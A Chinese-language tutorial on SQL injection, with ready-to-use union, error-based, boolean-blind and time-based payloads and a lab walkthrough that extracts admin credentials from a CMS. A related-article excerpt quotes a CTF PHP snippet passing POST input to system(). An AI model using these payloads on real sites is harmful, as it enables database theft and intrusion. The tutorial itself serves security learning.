SQL注入漏洞及五大手法

SQL注入漏洞

文章目录

  • SQL注入漏洞
      • 万能用户名
    • SQL注入分类
        • 两大基本类型
        • 五大手法
        • 提交参数方式
        • 注入点的位置
      • 注入点判断
      • SQL注入的危害
      • sql漏洞挖掘
      • Mysql库中的注释
    • SQL注入基本手法
      • 联合查询
        • 条件
      • 报错注入
        • group by
        • extractvalue
        • updataxml
      • 布尔盲注
      • 延时注入
  • 案例
    • 获取cms网站后台管理员账密
      • 联合查询
      • 报错注入
    • 备注

万能用户名

777' or 1=1 #

admin' or '1'='1

在与数据库交互的地方利用精心设计好的sql语句打破原有的语句结构,达到结果意料之外结果的攻击行为

  • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句
  • 未对用户可控参数进行足够的过滤,便将参数内容拼接到SOL 语句中

SQL注入分类

两大基本类型
  • 数字型
  • 字符型
五大手法
  • 联合查询
  • 报错注入
  • 布尔盲注
  • 延时注入
  • 堆叠查询
提交参数方式
  • GET 注入

  • POST 注入

  • Cookie 注入

  • HTTP 头部注入

注入点的位置
  • URL注入
  • 搜索框注入
  • 留言板注入
  • 登录框注入

注入点判断

会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL 注入漏洞。

步骤测试数据测试判断
1-1 或 +1是否能够回显上一个或者下一个页面(判断是否有回显)
2’ 或 "是否显示数据库错误信息;根据回显内容可以判断是字符型数据还是数字型。
3and 1=1and 1=2回显的页面是否不同(布尔类型的状态)
4and sleep(5)判断页面的返回时间
5\判断转义

SQL注入的危害

​ 攻击者可以利用 SQL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容(脱库)。

​ 在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。

​ 如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用 SQL 注入漏洞直接获取 WebShell 或者服务器权限。

sql漏洞挖掘

如果near报错语句中没有出现查询的id大概率为数字型注入

在这里插入图片描述

数据库的内容会回显到网页中考虑联合查询

有报错信息考虑报错注入

有bool类型状态考虑布尔盲注

延迟语句能够执行考虑延时注入

Mysql库中的注释

	注释				URL中显示
--  减减空格             --+
#  						%23
/* */

代替空格字符可以用:

  • %0A
  • %0B
  • %0D
  • %A0
    在这里插入图片描述

SQL注入基本手法

联合查询

​ 适用数据库中的内容会回显到页面中来的情况。联合查询就是利用 union select 语句,该语句会同时执行两条 select 语句,实现跨库、跨表查询

条件
  • 两条select语句查询结果具有相同的列数
  • 对应的列数据类型相同
  1. 对目标进行分析查找注入点

  2. 根据报错信息来查看是字符型还是数字型,字符型需要补引号(’ ")数字不用

  3. 使用union关键字进行联合查询 select * from tbName where id=32 union select …

  4. 通过order by进行列数猜测,因为要具有相同的列数如果超出列数就会报错从而快速锁定列数

  5. 锁定列数把所有列数列出来使用数字进行占位 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

  6. 再次查询时就可以找到回显位

  7. 在回显位输入sql函数比如版本,当前库名

  8. 利用 information_schema库中查询当前库中的所有表的个数?id=-33 UNION SELECT 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from

    information_schema.tables where table_schema=database()

  9. 查询所有表名?id=-33 UNION SELECT

    1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

  10. 查询想要查看表的字段?id=-33 UNION SELECT

    1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name=‘cms_users’

  11. 查询该字段下的内容?id=-33 UNION SELECT

    1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users

报错注入

​ 在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。报错注入的原理,就是在错误信息中执行 SQL 语句。触发报错的方式有很多,具体细节也不尽相同。

group by

是mysql的一个bug

需要靠运气多执行几次

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
extractvalue

将查询和报错语句混合执行查询语句

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))

?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
updataxml
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from
cms_users),0x5e),1)

 ?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

布尔盲注

  1. 查询库名长度

    ?id=2’ and length(database())=8 --+

  2. 知道长度开始按位测试

    ?id=2’ and ascii(substr(database(),1,1))=115 --+

延时注入

  1. 查询库名长度

    ?id=2’ and if(length(database())>1,sleep(5),1) --+

  2. 库名开始按位测试

    ?id=2’ and if(substr(database(),3,1)=‘c’,sleep(5),1) --+

案例

获取cms网站后台管理员账密

联合查询

寻找注入点 加‘闭合数据库报错可以看到是数字型
在这里插入图片描述
利用order by 进行猜测行数猜测15
在这里插入图片描述
发现显示正常猜测16发现报错
在这里插入图片描述
我们知道他有16行就使用联合查询进行位置判断用将数字当成占位符寻找回显位http://10.9.47.77/cms/show.php?id=35%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15切记要使前面的语句为假
在这里插入图片描述
找到回显位是3和11查询一下当前库名 把3的位置换为database()函数
在这里插入图片描述
利用information_schema库来查询库名为cms中的表所有表
在这里插入图片描述
在这里插入图片描述
因为查询为多个结果用group_concat()将要查询的字段括起来就会显示在一起还有就是要用转换成16进制要不然union查询会报错
http://10.9.47.77/cms/show.php?id=35%20and%201=2%20%20union%20select%201,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15%20from%20information_schema.tables%20where%20table_schema=database()
在这里插入图片描述
我们可以看到是16进制的我们转换一下
在这里插入图片描述
得到了表名cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
继续查询一下cms_users表名里的字段
http://10.9.47.77/cms/show.php?id=35%20and%201=2%20%20union%20select%201,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27cms_users%27
在这里插入图片描述
转换一下
在这里插入图片描述
得到两个字段username,password 进行查询
http://10.9.47.77/cms/show.php?id=35%20and%201=2%20%20union%20select%201,2,%20concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15%20%20from%20cms_users
在这里插入图片描述
账密就查询到了

报错注入

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) 查询当前库
在这里插入图片描述
查找账密
在这里插入图片描述

备注

由于布尔盲注和延迟注入成本太高后续上传python脚本编写

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/119690.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

云尘 命令执行系列

第一题 system <?php include "flag.php";if (isset($_POST[cmd])) {system($_POST[cmd]); }show_source(__FILE__);代码如上 system($_POST[cmd]); POST请求发送一个名为 cmd 的参数&#xff0c;然后将该参数的值传递给系统命令执行函数 system()&#xff0c…

vue + axios + mock

参考来源&#xff1a;Vue mock.js模拟数据实现首页导航与左侧菜单功能_vue.js_AB教程网 记录步骤&#xff1a;在参考资料来源添加axios步骤 1、安装mock依赖 npm install mock -D //只在开发环境使用 下载完成后&#xff0c;项目文件package.json中的devDependencies就会加…

支持内录系统声音的Mac录屏软件Omi Recorder

Screen Recorder by Omi是一款功能强大的屏幕录制应用程序。它可用于在Windows和Mac计算机上捕获屏幕&#xff0c;以便进行演示、教程、游戏录制、视频编辑等各种用途。 以下是该应用程序的一些主要特点&#xff1a; 支持高清录制&#xff1a;Omi Screen Recorder可以以高达6…

Appium 结合 TestNG 并行执行测试

Appium 测试框架可以让我们使用不同的编程语言&#xff08;Java、Python、Ruby、JavaScript&#xff09;测试不同移动端平台的应用&#xff08;Android、iOS&#xff09;&#xff0c;目前也是最火的移动端测试框架。这篇文章会带着大家学习到如何在不同设备中并行执行测试。 并…

没网络也能安装.Net 3.5!如何脱机安装.NET Framework 3.5

.NET框架是由微软制定的一个软件框架。它有助于在Windows上运行控制台、Web或移动应用程序。此有用的工具适用于Windows设备。 如何脱机安装.NET Framework 3.5 如果你拥有Windows 10、8、8.1或7,有时第三方软件可能会导致问题。你可能会在图片中看到这样的问题。 看这张照片…

QT 实现两款自定义的温度计/湿度控件

文章目录 0 引入1、带有标尺的温度/湿度计控件1.头文件2.核心代码 2、竖起来的温度/湿度计控件1.头文件2.实现 3、引用 0 引入 QT原生控件没有实现如仪表盘或者温度计的控件&#xff0c;只好自己实现&#xff0c;文章代码部分参考引用的文章。直接上图 图一 带有标尺的温度计…

快速实现一个企业级域名 SSL 证书有效期监控巡检系统

Why 现在对于企业来说&#xff0c;HTTPS 已经不是可选项&#xff0c;已经成为一个必选项。HTTPS 协议采用 SSL 协议&#xff0c;采用公开密钥的技术&#xff0c;提供了一套 TCP/IP 传输层数据加密的机制。SSL 证书是一种遵守 SSL 协议的服务器数字证书&#xff0c;一般是由权威…

随笔--解决ubuntu虚拟环境的依赖问题

文章目录 问题一&#xff1a;在conda虚拟环境中报错ImportError: libcupti.so.11.7:cannot open shared object file: No such file or directory解决步骤问题二&#xff1a; RuntimeError: CUDA error: CUBLAS_STATUS_INVALID_VALUE when calling cublasSgemmStridedBatched( …

初识Java 17-2 反射

目录 转型前检查 构建例子&#xff1a;生成层次结构 优化Creator&#xff1a;使用类字面量 优化PetCounter&#xff1a;动态验证类型 更通用的递归计数 注册工厂 本笔记参考自&#xff1a; 《On Java 中文版》 转型前检查 当我们使用传统的类型转换&#xff0c;例如&…

【服务器】Java连接redis及使用Java操作redis、使用场景

一、Java连接redis-No-SQL 1、导入依赖 在你的项目里面导入redis的pom依赖 <dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><version>2.9.0</version> </dependency> 2、连接redis 连接redis …

JavaEE-博客系统2(功能设计)

本部分内容&#xff1a;实现博客列表页&#xff1b;web程序问题的分析方法&#xff1b;实现博客详情页&#xff1b; 该部分的代码如下&#xff1a; WebServlet("/blog") public class BlogServlet extends HttpServlet {//Jackson ObjectMapper类(com.fasterxml.jac…

基于计算机视觉的身份证识别系统 计算机竞赛

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基于机器视觉的身份证识别系统 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f9ff; 更多资料, 项目分享&#xff1a; https://gitee.com/dancheng-sen…

编程未来规划笔记

编程思考 Python 自动化办公、深度学习、自然语言处理&#xff08;调用各种库&#xff09; Html Css 写网页 学习不要怕忘 为什么学的快、忘得快 Google、写代码、放文档 高度提炼 学什么&#xff1b;存在的意义是什么 更好的拓展性&#xff1b;可维护性 实践 原理 顶层设计…

第二章: 创建第一个Spring Boot 应用

第二章: 创建第一个Spring Boot 应用 前言 本章重点知识:构建你的第一个Spring Boot应用:以一个简单的例子来引导你进入Spring Boot的开发,包括如何使用Spring Initializr来创建项目,以及如何使用Maven或Gradle构建和运行项目等 IntelliJ IDEA 开发工具中安装 Spring Init…

2023-11-7 OpenAI 45 分钟发布会:演示关于 GPT Store 构建 GPT、零代码创建 AI Agent

本心、输入输出、结果 文章目录 2023-11-7 OpenAI 45 分钟发布会&#xff1a;演示关于 GPT Store 构建 GPT、零代码创建 AI Agent前言Sam Altman 正在创建一个「创业导师 GPT」零代码创建 AI AgentAssistants API 封装的能力包括 Sam Altman 对发布会总结相关链接弘扬爱国精神 …

如何选择SVM中最佳的【核函数】

参数“kernel"在sklearn中可选以下几种 选项&#xff1a; 接下来我们 就通过一个例子&#xff0c;来探索一下不同数据集上核函数的表现。我们现在有一系列线性或非线性可分的数据&#xff0c;我们希望通过绘制SVC在不同核函数下的决策边界并计算SVC在不同核函数下分类准确…

Python和BeautifulSoup库的魔力:解析TikTok视频页面

概述 短视频平台如TikTok已成为信息传播和电商推广的重要渠道。用户通过短视频分享生活、创作内容&#xff0c;吸引了数以亿计的观众&#xff0c;为企业和创作者提供了广阔的市场和宣传机会。然而&#xff0c;要深入了解TikTok上的视频内容以及用户互动情况&#xff0c;需要借…

Kubernetes 准入控制

Author&#xff1a;rab 目录 前言一、限制范围二、配置案例2.1 名称空间 CPU 与内存约束2.1.1 CPU 约束2.1.2 内存约束2.1.3 默认 CPU 申请约束2.1.4 默认内存申请约束 2.2 名称空间总容量限额约束 总结 前言 LimitRange 是限制命名空间内可为每个适用的对象类别 &#xff08;…

Android View 触摸反馈原理浅析

重写OnTouchEvent() 然后在方法内部写触摸算法 返回true,表示消费事件,所有触摸反馈不再生效,返回事件所有权 if (event.actionMasked MotionEvent.ACTION_UP){performClick()//抬起事件 执行performClick 触发点击 }override fun onTouchEvent(event: MotionEvent): Boolea…

代码随想录算法训练营第四十四天丨 动态规划part07

70. 爬楼梯 思路 这次讲到了背包问题 这道题目 我们在动态规划&#xff1a;爬楼梯 (opens new window)中已经讲过一次了&#xff0c;原题其实是一道简单动规的题目。 既然这么简单为什么还要讲呢&#xff0c;其实本题稍加改动就是一道面试好题。 改为&#xff1a;一步一个…